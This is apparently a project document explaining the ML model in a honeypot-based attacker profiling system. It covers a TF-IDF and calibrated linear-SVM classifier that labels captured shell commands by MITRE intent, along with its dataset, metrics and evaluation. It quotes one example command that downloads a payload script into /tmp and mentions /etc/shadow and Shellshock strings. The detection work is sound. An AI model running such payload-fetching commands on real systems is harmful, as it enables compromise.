Machine Learning -- Model & Evaluation Analysis

Intent-Aware Deception System for Real-Time Attacker Profiling · generated from docs/ML_MODEL_ANALYSIS.md

Machine Learning -- Model & Evaluation Analysis

Intent-Aware Deception System for Real-Time Attacker Profiling

> **Every number in this document is real.** All metrics come from `backend/app/ml/artifacts/metrics.json` -- the exact file the deployed model was trained and saved with (generated `2026-08-25T14:48:33Z`). All hyperparameters are quoted verbatim from `backend/app/ml/train.py` and `backend/app/ml/dataset.py`. Nothing is hand-edited; re-running `train.py` with the fixed seed reproduces these numbers.

> This document is written to be **pasted directly into your report / IEEE paper** (the "Methodology" and "Results" sections in particular). Every table is copy-ready.

1. Problem framing

Task: supervised multi-class text classification -- map a single shell command string to one of **10 MITRE-aligned attacker-intent classes**.

- **Input (X):** the raw command string exactly as captured by the honeypot (e.g. `wget http://192.0.2.10/payload.sh -O /tmp/p.sh`).
- **Output (y):** one intent label ∈ {RECONNAISSANCE, DISCOVERY, CREDENTIAL_ACCESS, EXECUTION, PRIVILEGE_ESCALATION, PERSISTENCE, EXPLOITATION, EXFILTRATION, CLEANUP, OTHER}.
- **Why this is the right ML framing:** intent is a semantic property of the *command text*. The classifier consumes **only the raw command string** through a TF-IDF feature space. (Behavioural session features -- command counts, login-failure counts, activity rate -- are computed separately and feed the *risk engine*, not the text classifier.)

Why ML and not rules alone. A deterministic rule engine is precise on commands it has a signature for, but it cannot generalise to paraphrased or obfuscated variants it has never seen. A learned lexical model generalises across the *vocabulary* of attack commands, which is exactly what a real attacker corpus demands. ML is therefore the **core** classifier; the rule engine and the optional LLM are complementary layers (Section 9).

2. Dataset

The training corpus is **generated programmatically in code** (no external corpus file): `backend/app/ml/dataset.py`.

2.1 Construction

- A curated list of **242 unique "template families"**. Each family is a dataclass with a `family_id` (unique), an `intent` label, a command `template`, and/or explicit `variants`.
- Templates contain `{PLACEHOLDER}` slots (e.g. `{IP}`, `{PORT}`, `{PAYLOAD}`, `{TMP}`, `{SENSDIR}`, `{USER}`, `{PKG}`, `{CVE}`, ...) filled from value **pools**.
- Expansion: for each family, the code takes `itertools.product` over the referenced pools, shuffles (seeded), truncates to **`MAX_VARIANTS_PER_FAMILY = 14`**, substitutes, and de-duplicates. Families with explicit `variants` use those directly.
- **Label assignment is by construction:** every expanded command inherits its family's declared `intent`. The `family_id` is retained as a *group* key (used for the robustness split in Section 6).

2.2 De-duplication and final size

Exact-string de-duplication is applied across the whole corpus **before** any split (`train.py`):

Quantity	Value

Raw expanded samples	1365
Exact duplicates removed	5
Unique samples (final corpus)	**1360**
Template families	242
Intent classes	10

2.3 Class distribution (samples / families)

Intent	Samples	Families
RECONNAISSANCE	80	28
DISCOVERY	134	35
CREDENTIAL_ACCESS	121	27
EXECUTION	318	24
PRIVILEGE_ESCALATION	57	30
PERSISTENCE	162	20
EXPLOITATION	100	18
EXFILTRATION	184	18
CLEANUP	87	18
OTHER	117	24
Total	**1360**	**242**

The distribution is **imbalanced** (EXECUTION 318 vs PRIVILEGE_ESCALATION 57), which is handled with `class_weight="balanced"` in the estimator and reported with **macro-averaged** metrics (Section 5) so small classes are not hidden by large ones.

---

3. Feature engineering

Features are a scikit-learn **`FeatureUnion`** of two TF-IDF representations (`train.py::_make_features`), shared identically by every candidate model:

```
FeatureUnion([ ("word", TfidfVectorizer(analyzer="word", token_pattern=r"(?u)\S+", ngram_range=(1, 2), min_df=1, sublinear_tf=True, lowercase=True)), ("char", TfidfVectorizer(analyzer="char_wb", ngram_range=(3, 6), min_df=1, sublinear_tf=True, lowercase=True)), ])
```

Branch	Setting	Value	Rationale
Word	analyzer	`word`	token-level semantics
Word	token_pattern	`(?u)\S+`	**whitespace-delimited** -- deliberately keeps flags, paths, URLs intact (`-O`, `/etc/shadow`) instead of splitting them
Word	ngram_range	(1, 2)	unigrams + bigrams capture short command idioms (`sudo su`)
Char	analyzer	`char_wb`	character n-grams within word boundaries
Char	ngram_range	(3, 6)	**sub-token** signal -- flags, path fragments and obfuscation matter below the token level; range selected by a held-out sweep
Both	sublinear_tf	`True`	dampens high term-frequency counts

Both	min_df	1	small corpus -- keep rare-but-informative tokens
Both	lowercase	`True`	case-normalised

Why character n-grams are essential for shell commands. Attackers obfuscate and vary commands at the character level (`/etc/shadow` vs `/etc//shadow`, `wget` vs `wg\et`). `char_wb` (3-6) captures those sub-token cues that a pure word model would miss -- this is the single most important design choice for this domain.

---

4. Model selection

4.1 Candidates

Three candidates were compared, all over the identical feature space (`train.py::_candidates`):

Model key	Estimator	Hyperparameters
`linsvc_calibrated`	`CalibratedClassifierCV(LinearSVC)`	`LinearSVC(C=1.0, class_weight="balanced")`, calibration `method="sigmoid"`, `cv=3`
`logreg`	`LogisticRegression`	`max_iter=3000, C=3.0, class_weight="balanced"`
`complement_nb`	`ComplementNB`	`alpha=0.3`

> A RandomForest was also evaluated during development and **dropped**: its leave-families-out generalisation collapsed (~0.43 macro-F1) and it produced poorly-calibrated probabilities. Reporting this is deliberate -- the selection was empirical, not assumed.

4.2 Selection protocol (no test-set peeking)

Selection is done by **4-fold Stratified K-Fold cross-validation on the training split only**, scoring **macro-F1** -- *before the test set is ever touched*:

```
cv = StratifiedKFold(n_splits=4, shuffle=True, random_state=1337) scores = cross_val_score(pipe, X_tr, y_tr, cv=cv, scoring="f1_macro", n_jobs=-1) # winner = highest mean CV macro-F1
```

Candidate	CV macro-F1 (mean +/- std)
`linsvc_calibrated` <- selected	**0.8539 +/- 0.0181**
`logreg`	0.8482 +/- 0.0172
`complement_nb`	0.8146 +/- 0.0282

The calibrated linear SVM won. Linear SVMs are the standard strong baseline for high-dimensional sparse text; wrapping in `CalibratedClassifierCV` (sigmoid / Platt scaling) converts raw SVM margins into **meaningful probabilities**, which the runtime hybrid layer relies on for its confidence thresholds (Section 9).

---

5. Primary evaluation (held-out test set)

5.1 Protocol

- **Split:** standard stratified **80/20** on the de-duplicated commands (`train_test_split(..., test_size=0.2, stratify=labels, random_state=1337)`).
- **Sizes: 1088 train / 272 test.**
- **Leakage control (asserted in code):** `assert not (set(X_tr) & set(X_te)), "LEAKAGE: identical command string in train and test"`. No identical command string appears in both train and test -- this is *why* the headline is 94%, not an inflated 100%.

5.2 Headline metrics

Metric	Held-out value
Accuracy	**94.49 %**
Macro Precision	0.9367
Macro Recall	0.9158
Macro F1	**0.9229**
Weighted Precision	0.9466
Weighted Recall	0.9449
Weighted F1	0.9436

5.3 Per-class performance

Intent	Precision	Recall	F1	Support
CLEANUP	1.000	0.941	0.970	17
CREDENTIAL_ACCESS	0.828	1.000	0.906	24
DISCOVERY	0.828	0.889	0.857	27
EXECUTION	1.000	1.000	1.000	64
EXFILTRATION	1.000	1.000	1.000	37
EXPLOITATION	1.000	1.000	1.000	20
OTHER	0.909	0.870	0.889	23
PERSISTENCE	0.970	1.000	0.985	32
PRIVILEGE_ESCALATION	1.000	0.833	0.909	12
RECONNAISSANCE	0.833	0.625	0.714	16

- **Strongest:** EXECUTION, EXFILTRATION, EXPLOITATION -- perfect held-out F1 (1.000). These classes use highly distinctive tokens (`wget`/`curl`+`chmod`, `tar czf ... /etc`, Shellshock strings).
- **Weakest (reported, not hidden):** RECONNAISSANCE, F1 **0.714** (recall 0.625, support 16). Short recon commands (`whoami`, `id`, `uname`) overlap lexically with DISCOVERY and CREDENTIAL_ACCESS probes, and it is the smallest test class. This is exactly the ambiguous region the hybrid rule + LLM layers exist to catch at runtime.

5.4 Confusion matrix (held-out, 272 samples)

Rows = **true** class, columns = **predicted**. Column codes: CLN=CLEANUP, CRD=CREDENTIAL_ACCESS, DIS=DISCOVERY, EXE=EXECUTION, EXF=EXFILTRATION, EXP=EXPLOITATION, OTH=OTHER, PER=PERSISTENCE, PRV=PRIVILEGE_ESCALATION, REC=RECONNAISSANCE.

True ↓ / Pred ->	CLN	CRD	DIS	EXE	EXF	EXP	OTH	PER	PRV	REC
CLN	16	0	0	0	0	0	1	0	0	0
CRD	0	24	0	0	0	0	0	0	0	0
DIS	0	2	24	0	0	0	1	0	0	0
EXE	0	0	0	64	0	0	0	0	0	0
EXF	0	0	0	0	37	0	0	0	0	0
EXP	0	0	0	0	0	20	0	0	0	0
OTH	0	0	2	0	0	0	20	0	0	1
PER	0	0	0	0	0	0	0	32	0	0

PRV	0	0	1	0	0	0	0	0	10	1
REC	0	3	2	0	0	0	0	1	0	10

Reading the errors (all 15 of them): the diagonal holds 257/272 correct. The mistakes cluster exactly where semantics overlap: RECONNAISSANCE misread as CREDENTIAL_ACCESS (3) or DISCOVERY (2); DISCOVERY↔CREDENTIAL_ACCESS (2); a few OTHER/CLEANUP boundary cases. No error crosses into an unrelated tactic -- the model's mistakes are *reasonable* confusions between neighbouring intents. (Rendered figures are also in `docs/evaluation/`: `confusion_matrix.svg`, `per_class_f1.svg`.)

---

6. Robustness evaluation (the stricter, honest test)

A single accuracy number can flatter a model if near-duplicate commands leak across the split. We therefore **also** run a **leave-families-out** evaluation (`backend/app/ml/split.py`): whole template *families* are held out, so the test set contains command templates **never seen in any form during training**. The split is stratified per class (every class with >=2 families contributes >=1 test family) and asserts no `family_id` crosses the boundary.

Evaluation	Accuracy	Macro-F1	Train / Test
Primary (held-out, stratified)	**94.49 %**	**0.9229**	1088 / 272
Robustness (leave-families-out)	**67.87 %**	**0.5267**	1055 / 305

Interpretation (stated plainly). 67.87 % is *lower by design* -- it measures generalisation to command templates the model has genuinely never encountered. A lexical model cannot fully generalise to unseen templates, and we do **not** hide this. It is precisely the motivation for the hybrid architecture: the deterministic rule engine covers known-signature novelty, and the optional Gemini semantic layer handles genuinely novel / ambiguous commands at runtime (Section 9).

---

7. Deployment artifact (an honest nuance)

The reported metrics come from the held-out evaluation **before** deployment. For the shipped model, the winning pipeline is then **refit on the full de-duplicated corpus (all 1360 samples)** and serialised:

```
deploy_pipe.fit(commands, labels) # refit on 100% of data joblib.dump({"pipeline": deploy_pipe, "metadata": metadata}, MODEL_PATH)
```

- **Artifact:** `backend/app/ml/artifacts/intent_classifier.joblib`.
- **Metadata carried with the model:** `classes`, `intent_to_stage`, `model_name`, `sklearn_version`, `trained_at`, `trained_on_samples`.
- **Runtime loading is lazy and defensive:** if the artifact is missing or fails to load, the system degrades gracefully to rules (+ Gemini if configured) rather than crashing.
- **Version pinning:** host and Docker pin identical scientific-stack versions (scikit-learn 1.9.0, numpy 2.5.2) so the serialised model loads identically in both.

> This is standard practice (evaluate on a held-out split, then ship a model trained on all available data), but we call it out explicitly so the 94.49 % is not misread as the accuracy of the *exact* bytes on disk -- it is the accuracy of the *same procedure* on held-out data.

---

8. Reproducibility

- **Fixed seed:** `RANDOM_SEED = 1337` (`dataset.py`), reused as `random_state` in dataset expansion, `train_test_split`, `StratifiedKFold`, and the group split -> the whole pipeline is deterministic.
- **Environment (as-trained):** Python 3.13.12, scikit-learn 1.9.0, numpy 2.5.2.
- **Regenerate everything:** `bash PYTHONPATH=. .venv/Scripts/python.exe backend/app/ml/train.py .venv/Scripts/python.exe scripts/generate_eval_assets.py` This reproduces `metrics.json`, the confusion-matrix / per-class figures, and the raw scikit-learn `classification_report`.

---

9. How ML fits the runtime hybrid (context)

At inference the ML model is one of three sources arbitrated by `hybrid_classifier.py`, with explicit, auditable precedence and thresholds:

```
strong rule (conf >= 0.90, not OTHER) > confident ML (calibrated conf >= 0.40) > Gemini (only when neither is decisive)
> best-available > OTHER
```

- A **strong rule** signature is authoritative (deterministic, instant, auditable).
- Otherwise a **confident ML** prediction (calibrated probability **>= 0.40**) decides; if the rule agrees, the event is recorded as source **HYBRID**, else **ML**.
- **Gemini** (`gemini-2.5-flash`, optional) is consulted **only** when the rule is weak *and* ML is not confident -- i.e. genuinely novel/ambiguous input. It is never on the hot path for known attacks, and the system runs fully without it.
- Every event records which source decided it (`RULE` / `ML` / `HYBRID` / `GEMINI` / `FALLBACK`) plus the calibrated `ml_confidence` -- making the decision visible on the dashboard.

Live proof the model is actually in the pipeline: in the end-to-end demonstration, `scripts/verify_live.py` confirms each captured command carries a classification source and, for ML/HYBRID, a real calibrated confidence -- 21/21 commands classified by the ML model in the latest run.

---

10. Honesty statement (verbatim from `metrics.json`)

- All metrics are computed by scikit-learn on genuine held-out data.
- Primary split: no identical command string is shared between train and test.
- A stricter leave-families-out score is also reported (not hidden).
- No metric was hand-edited; re-running `train.py` reproduces these numbers (fixed `RANDOM_SEED = 1337`).

Distinguishing this from the rule-coverage sanity check

An earlier functional test drove 42 hand-authored cases through the deterministic *rule engine* and every case matched its rule (100 % on those 42). That is a **rule-coverage sanity check**, *not* a measure of model generalisation, and must not be read as the system's accuracy. The honest, generalisation-bearing numbers are the ML held-out metrics above (94.49 % primary, 67.87 % leave-families-out).

---

11. Copy-ready summary line (for an abstract)

> A calibrated linear-SVM classifier over a TF-IDF word (1-2) + character `char_wb` (3-6) feature union classifies attacker shell commands into 10 MITRE-aligned intent classes, achieving **94.49 % accuracy** and **0.9229 macro-F1** on a leakage-controlled held-out set of 272 commands (selected over logistic-regression and Complement-NB baselines by 4-fold macro-F1 cross-validation), with a deliberately stricter leave-families-out score (67.87 % accuracy) reported to characterise generalisation honestly.